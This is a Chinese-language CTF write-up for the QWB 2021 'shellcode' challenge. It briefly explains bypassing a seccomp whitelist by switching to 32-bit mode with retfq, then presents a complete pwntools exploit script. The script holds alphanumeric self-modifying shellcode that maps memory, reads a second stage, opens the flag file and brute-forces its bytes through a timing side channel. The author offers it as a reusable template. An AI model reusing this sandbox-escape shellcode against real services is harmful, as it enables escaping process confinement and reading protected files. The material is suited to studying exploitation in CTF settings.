eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

qwb2021

强网杯2021-shellcode

程序是64位的,并且开了沙箱,白名单是fstat,alarm,read和mmap,黑名单是stat,fstat对应的系统调用号是5,而32位下,系统调用号为5的函数是open

禁用了stat函数,在64位下系统调用号是4,在32位下是write,也就是禁用了write,即不能进行orw输出,只能用or来读入,然后爆破。

用到的retqf指令是pop ip,pop cs,cs决定了程序是32位还是64位,如果cs=0x23,程序就是32位

下面是网上一个大佬总结的模板,有题的时候可以直接套用,也没有用到超出ascii字符的汇编。

1.shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
from pwn import *

def exp(i, j):
# p = process('./shellcode')
append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = 'push 0x33;push 0x40404089;retfq;mov rdi,rcx;mov rsi,rsp;mov rdx,0x70;xor rax,rax;syscall;'
# /*write(1,buf,0x70)*/
# mov rdi,1
# mov rax,1
# syscall

shellcode_x86 = asm(shellcode_x86)


append = '''
push rdx
pop rdx
'''
# 0x40404040
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49

'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70

'''
#retfq - pop ip pop cs
shellcode_retfq = '''
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
# gdb.attach(p)
shellcode = ''
shellcode += shellcode_mmap #首先mmap一块内存地址
shellcode += append
shellcode += shellcode_read #向mmap出来的地址读入数据
shellcode += append
#为什么不直接在栈上读呢?还要mmap一块内存,因为64位的栈比较长,所以我们布置32位的shellcode,要申请一块适合32位的shellcode的地址。
shellcode += shellcode_retfq #切换到32位
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')

p.sendline(shellcode)
if i <=1 :
shellcode_flag += "cmp byte ptr[rsi+{0}],{1};jz $-3;ret".format(i, j) #如果比对相等的话,就执行jz $-3,一直循环,程序接收到timeout时,就会爆破出来一位flag,然后继续
else:
shellcode_flag += "cmp byte ptr[rsi+{0}],{1};jz $-4;ret".format(i, j)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)


local = 1
flag = ''
for i in range(0, 0x30): #flag长度
sleep(1)
success("----{}----".format(flag))
for j in range(0x20, 127): #flag每一位可能的字符ascii码
if local:
p = process('./shellcode')
else:
p = remote('',)
try:
exp(i,j)
p.recvline(timeout=1)
flag += chr(j)

p.close()
break
except:
p.close()


p.interactive()

这里推荐一片文章,挺好的https://xz.aliyun.com/t/6645#toc-5